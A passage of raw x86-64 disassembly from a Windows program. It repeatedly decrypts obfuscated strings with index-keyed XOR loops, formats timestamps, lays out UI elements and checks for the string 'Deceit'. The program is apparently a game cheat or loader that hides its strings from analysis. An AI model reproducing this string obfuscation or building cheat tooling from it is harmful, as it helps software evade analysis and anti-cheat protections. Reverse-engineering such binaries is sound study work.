inc r8d
sub al, cl
add al, 0x37
xor byte [r9 - 1], al
cmp r8d, 0xd
jl 0x14004fdf0
lea rdx, [rbp + 0x290]
movaps xmmword [rbp + 0x290], xmm8
lea rcx, [rbp + 0x70]
movaps xmmword [rbp + 0x2a0], xmm9
call fcn.140039640
mov rdx, qword [rbp + 0x38]
cmp rdx, 0x10
jb 0x14004fe7f
mov rcx, qword [rbp + 0x20]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004fe7a
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400526be
call fcn.1400c17e8
mov rdx, qword [rbp + 0x318]
mov qword [rbp + 0x30], r15
mov qword [rbp + 0x38], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x20], 0
cmp rdx, 0x10
jb 0x14004fed0
mov rcx, qword [rbp + 0x300]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004fecb
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400526be
call fcn.1400c17e8
mov rcx, qword [0x1400f0be0]
lea rdx, [0x1400f1200]
mov rax, qword [rcx + 0x1d18]
mov byte [rax + 0xd1], 1
mov rax, qword [rcx + 0x1d18]
lea rcx, [rbp + 0x330]
movss xmm0, dword [rax + 0x130]
movss xmm1, dword [rax + 0x50]
subss xmm1, dword [rax + 0x9c]
addss xmm1, xmm11
maxss xmm0, xmm1
movss dword [rax + 0x118], xmm1
movss dword [rax + 0x130], xmm0
call fcn.140055100
mov rbx, rax
mov rcx, rax
cmp qword [rax + 0x18], 0x10
jb 0x14004ff3d
mov rcx, qword [rax]
xor edx, edx
lea r8d, [rdx + 0xa]
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_strtol]
mov rdx, qword [rbx + 0x18]
movsxd rdi, eax
cmp rdx, 0x10
jb 0x14004ff86
mov rcx, qword [rbx]
inc rdx
cmp rdx, 0x1000
jb 0x14004ff81
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x1400526c5
mov rcx, r8
call fcn.1400c17e8
lea rdx, [rbp + 0x230]
mov qword [rbx + 0x10], r15
lea rcx, [rbp - 0x10]
mov qword [rbx + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rbx], 0
mov qword [rbp + 0x230], rdi
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__localtime64_s]
movups xmm0, xmmword [rbp - 0x10]
mov eax, dword [rbp + 0x10]
lea r9, [rbp + 0x350]
movups xmm1, xmmword [rbp]
lea r8, str._a__m__d__y__H:_M:_S__Z
mov edx, 0x50
lea rcx, [rbp + 0x4c0]
movaps xmmword [rbp + 0x350], xmm0
movaps xmmword [rbp + 0x360], xmm1
mov dword [rbp + 0x370], eax
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll_strftime]
xorps xmm0, xmm0
mov qword [rbp + 0x310], r15
movups xmmword [rbp + 0x300], xmm0
mov qword [rbp + 0x318], r15
lea rax, [rbp + 0x4c0]
mov r8, r12
nop
inc r8
cmp byte [rax + r8], 0
jne 0x140050010
lea rdx, [rbp + 0x4c0]
lea rcx, [rbp + 0x300]
call fcn.140056c90
cmp qword [rbp + 0x318], 0x10
lea rdx, [rbp + 0x300]
xorps xmm0, xmm0
mov qword [rbp + 0x2e0], r15
cmovae rdx, qword [rbp + 0x300]
mov r8, r12
movups xmmword [rbp + 0x2d0], xmm0
mov qword [rbp + 0x2e8], r15
nop
inc r8
cmp byte [rdx + r8], 0
jne 0x140050060
lea rcx, [rbp + 0x2d0]
call fcn.140056c90
lea rdx, [rbp + 0x2d0]
lea rcx, [rbp + 0x20]
call fcn.140048b00
movsd xmm0, qword [str.YJNePRYV.bf7E]
mov r8d, r15d
mov ebx, Ordinal_33
movups xmm8, xmmword [rax]
movups xmm9, xmmword [rax + 0x10]
mov eax, dword [0x1400dae98]
mov dword [rbp + 0x88], eax
movzx eax, word [0x1400dae9c]
mov word [rbp + 0x8c], ax
movzx eax, byte [0x1400dae9e]
mov byte [rbp + 0x8e], al
movsd qword [rbp + 0x80], xmm0
cmp r13d, 2
jl 0x1400501f1
movdqa xmm2, xmmword [0x1400db8b0]
mov r8d, 8
movdqa xmm3, xmmword [0x1400db8c0]
movdqa xmm1, xmm2
movdqa xmm4, xmmword [0x1400dbc60]
movdqa xmm0, xmm2
mov eax, dword [str.7777777777777777]
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
movd xmm6, r14d
movd xmm5, ebx
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400db8d0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
pand xmm2, xmmword [0x1400db8e0]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [str.YJNePRYV.bf7E]
pxor xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rbp + 0x80], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400db8d0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400db8e0]
movd xmm1, dword [rbp + 0x84]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
pxor xmm2, xmm1
movd dword [rbp + 0x84], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x80]
add r9, rax
nop
mov eax, 0xa0a0a0a1
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x37
xor byte [r9 - 1], al
cmp r8d, 0xf
jl 0x140050200
lea rdx, [rbp + 0x290]
movaps xmmword [rbp + 0x290], xmm8
lea rcx, [rbp + 0x80]
movaps xmmword [rbp + 0x2a0], xmm9
call fcn.140039640
mov rdx, qword [rbp + 0x38]
cmp rdx, 0x10
jb 0x140050292
mov rcx, qword [rbp + 0x20]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005028d
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400526c5
call fcn.1400c17e8
mov rdx, qword [rbp + 0x318]
mov qword [rbp + 0x30], r15
mov qword [rbp + 0x38], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x20], 0
cmp rdx, 0x10
jb 0x1400502e3
mov rcx, qword [rbp + 0x300]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400502de
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400526c5
call fcn.1400c17e8
cmp byte [0x1400db283], 0
mov rcx, qword [0x1400f0be0]
mov rax, qword [rcx + 0x1d18]
mov byte [rax + 0xd1], 1
mov rax, qword [rcx + 0x1d18]
movss xmm0, dword [rax + 0x130]
movss xmm1, dword [rax + 0x50]
subss xmm1, dword [rax + 0x9c]
addss xmm1, xmm11
maxss xmm0, xmm1
movss dword [rax + 0x118], xmm1
movss dword [rax + 0x130], xmm0
movsd xmm0, qword [str.a_KIRSS]
mov eax, dword [0x1400db280]
movsd qword [rbp + 0xa0], xmm0
mov dword [rbp + 0xa8], eax
je 0x1400504c4
mov r8d, r15d
cmp r13d, 2
jl 0x14005047c
movdqa xmm2, xmmword [0x1400db8b0]
mov r8d, 8
movdqa xmm3, xmmword [0x1400db8c0]
movdqa xmm1, xmm2
movdqa xmm4, xmmword [0x1400dbc60]
movdqa xmm0, xmm2
mov eax, dword [str.7777777777777777]
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
movd xmm6, r14d
movd xmm5, ebx
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400db8d0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
pand xmm2, xmmword [0x1400db8e0]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [str.a_KIRSS]
pxor xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rbp + 0xa0], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400db8d0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400db8e0]
movd xmm1, dword [rbp + 0xa4]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
pxor xmm2, xmm1
movd dword [rbp + 0xa4], xmm2
movsxd rax, r8d
lea r9, [rbp + 0xa0]
add r9, rax
nop dword [rax]
mov eax, 0xa0a0a0a1
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x37
xor byte [r9 - 1], al
cmp r8d, 0xc
jl 0x140050490
movups xmm0, xmmword [0x1400f1140]
lea rdx, [rbp + 0x2d0]
movups xmm1, xmmword [0x1400f1150]
lea rcx, [rbp + 0xa0]
movaps xmmword [rbp + 0x2d0], xmm0
movaps xmmword [rbp + 0x2e0], xmm1
call fcn.140039640
mov rcx, qword [0x1400f0be0]
mov r8d, r15d
mov rax, qword [rcx + 0x1d18]
mov byte [rax + 0xd1], 1
mov rax, qword [rcx + 0x1d18]
movss xmm0, dword [rax + 0x130]
movss xmm1, dword [rax + 0x50]
subss xmm1, dword [rax + 0x9c]
addss xmm1, xmm11
movss dword [rax + 0x118], xmm1
maxss xmm0, xmm1
movups xmm1, xmmword [0x1400db4d8]
movups xmmword [rbp - 0x10], xmm1
movss dword [rax + 0x130], xmm0
movsd xmm0, qword [0x1400db4e8]
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_79]
movsd qword [rbp], xmm0
mov byte [rbp + 8], al
cmp r13d, 2
jl 0x1400506c1
movdqa xmm0, xmmword [str.7777777777777777]
lea rcx, [rbp - 0x10]
movdqa xmm5, xmmword [0x1400db8b0]
movdqa xmm4, xmmword [0x1400dbc60]
movdqa xmm7, xmmword [0x1400db8d0]
movdqa xmmword [rbp + 0x230], xmm0
mov edx, dword [rbp + 0x230]
movd xmm6, r14d
movd xmm8, ebx
nop dword [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
pand xmm2, xmmword [0x1400db8e0]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
pxor xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400db8e0]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
cmp r8d, 0x18
jl 0x1400505b0
cmp r8d, 0x19
jge 0x140050704
movsxd rax, r8d
lea r9, [rbp - 0x10]
add r9, rax
nop dword [rax + rax]
mov eax, 0xa0a0a0a1
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x37
xor byte [r9 - 1], al
cmp r8d, 0x19
jl 0x1400506d0
lea rcx, [rbp - 0x10]
call fcn.140039640
mov rcx, qword [0x1400f0be0]
mov r8d, r15d
mov rax, qword [rcx + 0x1d18]
mov byte [rax + 0xd1], 1
mov rax, qword [rcx + 0x1d18]
movss xmm0, dword [rax + 0x130]
movss xmm1, dword [rax + 0x50]
subss xmm1, dword [rax + 0x9c]
addss xmm1, xmm11
movss dword [rax + 0x118], xmm1
maxss xmm0, xmm1
movups xmm1, xmmword [0x1400db178]
movups xmmword [rbp - 0x10], xmm1
movss dword [rax + 0x130], xmm0
movzx eax, word [0x1400db190]
movsd xmm0, qword [0x1400db188]
mov word [rbp + 8], ax
movzx eax, byte [0x1400db192]
mov byte [rbp + 0xa], al
movsd qword [rbp], xmm0
cmp r13d, 2
jl 0x1400508e1
movdqa xmm0, xmmword [str.7777777777777777]
lea rcx, [rbp - 0x10]
movdqa xmm5, xmmword [0x1400db8b0]
movdqa xmm4, xmmword [0x1400dbc60]
movdqa xmm7, xmmword [0x1400db8d0]
movdqa xmmword [rbp + 0x230], xmm0
mov edx, dword [rbp + 0x230]
movd xmm6, r14d
movd xmm8, ebx
nop dword [rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
pand xmm2, xmmword [0x1400db8e0]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
pxor xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400db8e0]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
cmp r8d, 0x18
jl 0x1400507d0
cmp r8d, 0x1b
jge 0x140050924
movsxd rax, r8d
lea r9, [rbp - 0x10]
add r9, rax
nop dword [rax + rax]
mov eax, 0xa0a0a0a1
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x37
xor byte [r9 - 1], al
cmp r8d, 0x1b
jl 0x1400508f0
lea rcx, [rbp - 0x10]
call fcn.140039640
call fcn.140011860
call fcn.14000b320
mov rcx, qword [0x1400f0be0]
movzx r8d, byte [0x1400f0bd9]
mov dword [rbp + 0x328], 0x43220000
mov dword [rbp + 0x32c], 0x41c80000
mov rax, qword [rcx + 0x1d18]
mov byte [rax + 0xd1], 1
mov rax, qword [rcx + 0x1d18]
movss xmm0, dword [rax + 0x50]
movss xmm2, dword [rax + 0x54]
subss xmm0, dword [rax + 0x9c]
subss xmm2, dword [rax + 0xa0]
addss xmm0, xmm14
addss xmm2, dword [0x1400db7b8]
movss dword [rax + 0x118], xmm0
movss dword [rax + 0x11c], xmm2
movss xmm1, dword [rax + 0x130]
maxss xmm1, xmm0
movss xmm0, dword [rax + 0x134]
maxss xmm0, xmm2
movss dword [rax + 0x130], xmm1
movss dword [rax + 0x134], xmm0
test r8b, r8b
je 0x140050a16
movzx ecx, word [0x1400dae54]
mov eax, dword [str.VS_XH]
mov dword [rbp - 0x28], eax
movzx eax, byte [0x1400dae56]
xor byte [rbp - 0x27], 0x38
xor byte [rbp - 0x26], 0x39
xor byte [rbp - 0x25], 0x3a
mov word [rbp - 0x24], cx
xor cl, 0x3b
xor byte [rbp - 0x23], 0x3c
xor al, 0x3d
mov byte [rbp - 0x24], cl
mov byte [rbp - 0x22], al
lea rcx, [rbp - 0x28]
mov byte [rbp - 0x28], 0x49
jmp 0x140050b88
cmp byte [0x1400db607], 0
mov rax, qword [str.bHHZXX_]
mov qword [rbp + 0x60], rax
je 0x140050b84
cmp r13d, 2
jl 0x140050b41
movdqa xmm2, xmmword [0x1400db8b0]
movdqa xmm3, xmmword [0x1400db8c0]
movdqa xmm1, xmm2
movdqa xmm4, xmmword [0x1400dbc60]
movdqa xmm0, xmm2
mov eax, dword [str.7777777777777777]
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
movd xmm6, r14d
movd xmm5, ebx
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400db8d0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400db8e0]
movd xmm1, dword [rbp + 0x60]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movdqa xmm0, xmm3
pxor xmm2, xmm1
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd dword [rbp + 0x60], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400db8d0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400db8e0]
movd xmm1, dword [rbp + 0x64]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
pxor xmm2, xmm1
movd dword [rbp + 0x64], xmm2
jmp 0x140050b84
lea r10, [rbp + 0x60]
mov r9d, r15d
nop dword [rax + rax]
mov eax, 0xa0a0a0a1
lea r10, [r10 + 1]
imul r9d
add edx, r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r9b
inc r9d
sub al, cl
add al, 0x37
xor byte [r10 - 1], al
cmp r9d, 8
jl 0x140050b50
lea rcx, [rbp + 0x60]
lea rdx, [rbp + 0x328]
call fcn.140049ed0
test al, al
je 0x1400524c3
mov eax, dword [0x1400f0bdc]
test eax, eax
jne 0x14005193c
cmp byte [0x1400f0bd9], al
je 0x1400524c3
mov rcx, qword [0x1400f1228]
mov r14d, r15d
mov rdx, qword [0x1400f1220]
mov rax, rcx
sub rax, rdx
sar rax, 6
test rax, rax
je 0x1400524c3
mov rbx, r15
nop dword [rax]
sub rcx, rdx
sar rcx, 6
cmp rcx, rbx
jbe 0x140052c9c
shl rbx, 6
lea rcx, [rbp + 0x350]
add rbx, rdx
mov rdx, rbx
call fcn.140055100
lea rdx, [rbx + 0x20]
lea rcx, [rbp + 0x370]
call fcn.140055100
cmp qword [rbp + 0x368], 0x10
lea rdx, [rbp + 0x350]
mov r8, qword [rbp + 0x360]
lea rcx, [0x1400ef740]
cmovae rdx, qword [rbp + 0x350]
call fcn.140055830
lea rdx, [rbp + 0x370]
lea rcx, [rbp + 0x20]
call fcn.140055100
mov rbx, rax
mov rcx, rax
cmp qword [rax + 0x18], 0x10
jb 0x140050c60
mov rcx, qword [rax]
xor edx, edx
lea r8d, [rdx + 0xa]
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_strtol]
mov rdx, qword [rbx + 0x18]
movsxd rdi, eax
cmp rdx, 0x10
jb 0x140050ca9
mov rcx, qword [rbx]
inc rdx
cmp rdx, 0x1000
jb 0x140050ca4
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x1400526cc
mov rcx, r8
call fcn.1400c17e8
mov qword [rbx + 0x10], r15
lea rdx, [rbp + 0x470]
mov qword [rbx + 0x18], reloc.WS2_32.dll_ntohs
lea rcx, [rbp + 0x290]
mov byte [rbx], 0
mov qword [rbp + 0x470], rdi
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__localtime64_s]
movups xmm0, xmmword [rbp + 0x290]
mov eax, dword [rbp + 0x2b0]
lea r9, [rbp - 0x10]
movups xmm1, xmmword [rbp + 0x2a0]
lea r8, str._a__m__d__y__H:_M:_S__Z
mov edx, 0x50
lea rcx, [rbp + 0x4c0]
movaps xmmword [rbp - 0x10], xmm0
movaps xmmword [rbp], xmm1
mov dword [rbp + 0x10], eax
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll_strftime]
xorps xmm0, xmm0
mov qword [rbp + 0x340], r15
movups xmmword [rbp + 0x330], xmm0
mov qword [rbp + 0x348], r15
lea rax, [rbp + 0x4c0]
mov r8, r12
inc r8
cmp byte [rax + r8], 0
jne 0x140050d31
lea rdx, [rbp + 0x4c0]
lea rcx, [rbp + 0x330]
call fcn.140056c90
cmp qword [rbp + 0x348], 0x10
lea rdx, [rbp + 0x330]
xorps xmm0, xmm0
mov qword [rbp + 0x310], r15
cmovae rdx, qword [rbp + 0x330]
mov r8, r12
movups xmmword [rbp + 0x300], xmm0
mov qword [rbp + 0x318], r15
inc r8
cmp byte [rdx + r8], 0
jne 0x140050d80
lea rcx, [rbp + 0x300]
call fcn.140056c90
mov rdx, qword [rbp + 0x348]
cmp rdx, 0x10
jb 0x140050dd7
mov rcx, qword [rbp + 0x330]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140050dd2
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400526d3
call fcn.1400c17e8
lea rdx, [rbp + 0x300]
lea rcx, [rbp + 0x2d0]
call fcn.1400458a0
lea rdx, [rbp + 0x2d0]
lea rcx, [rbp + 0x20]
call fcn.140045b30
cmp qword [rax + 0x18], 0x10
jb 0x140050e04
mov rax, qword [rax]
mov r8, r12
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140050e10
mov rdx, rax
lea rcx, [0x1400ef760]
call fcn.140055830
mov rdx, qword [rbp + 0x38]
cmp rdx, 0x10
jb 0x140050e64
mov rcx, qword [rbp + 0x20]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140050e5f
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400526da
call fcn.1400c17e8
mov rsi, qword [rbp + 0x368]
lea rcx, [rbp + 0x350]
mov rdi, qword [rbp + 0x350]
cmp rsi, 0x10
mov rbx, qword [rbp + 0x360]
cmovae rcx, rdi
cmp rbx, 6
jne 0x1400511c4
mov r8, rbx
lea rdx, str.Deceit
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x1400511c4
mov eax, dword [0x1400db2e0]
mov r8d, r15d
mov dword [rbp + 0x128], eax
mov ebx, 5
movzx eax, word [0x1400db2e4]
mov word [rbp + 0x12c], ax
movzx eax, byte [0x1400db2e6]
mov byte [rbp + 0x12e], al
movups xmm0, xmmword [0x1400db2c8]
movups xmmword [rbp + 0x110], xmm0
movsd xmm0, qword [0x1400db2d8]
movsd qword [rbp + 0x120], xmm0
cmp r13d, 2
jl 0x140051061
movdqa xmm0, xmmword [str.7777777777777777]
lea rcx, [rbp + 0x110]
movdqa xmm5, xmmword [0x1400db8b0]
mov eax, Ordinal_33
movdqa xmm4, xmmword [0x1400dbc60]
movdqa xmm7, xmmword [0x1400db8d0]
movdqa xmmword [rbp + 0x230], xmm0
mov edx, dword [rbp + 0x230]
movd xmm8, eax
movd xmm6, ebx
nop dword [rax]
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
pand xmm2, xmmword [0x1400db8e0]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
pxor xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400db8e0]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
cmp r8d, 0x18
jl 0x140050f50
cmp r8d, 0x1f
jge 0x1400510a4
movsxd rax, r8d
lea r9, [rbp + 0x110]
add r9, rax
nop
mov eax, 0xa0a0a0a1
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x37
xor byte [r9 - 1], al
cmp r8d, 0x1f
jl 0x140051070
xorps xmm0, xmm0
mov qword [rbp + 0x168], r15
movups xmmword [rbp + 0x158], xmm0
mov qword [rbp + 0x170], r15
lea rax, [rbp + 0x110]
mov r8, r12
inc r8
cmp byte [rax + r8], 0
jne 0x1400510c6
lea rdx, [rbp + 0x110]
lea rcx, [rbp + 0x158]
call fcn.140056c90
lea rcx, [rbp + 0x210]
call fcn.1400489c0
mov rcx, rax
lea rdx, [rbp + 0x158]
movaps xmm2, xmm10
call fcn.14004c710
mov rdx, qword [rbp + 0x228]
cmp rdx, 0x10
jb 0x140051143
mov rcx, qword [rbp + 0x210]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005113e
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400526e1
call fcn.1400c17e8
mov rdx, qword [rbp + 0x170]
mov qword [rbp + 0x220], r15
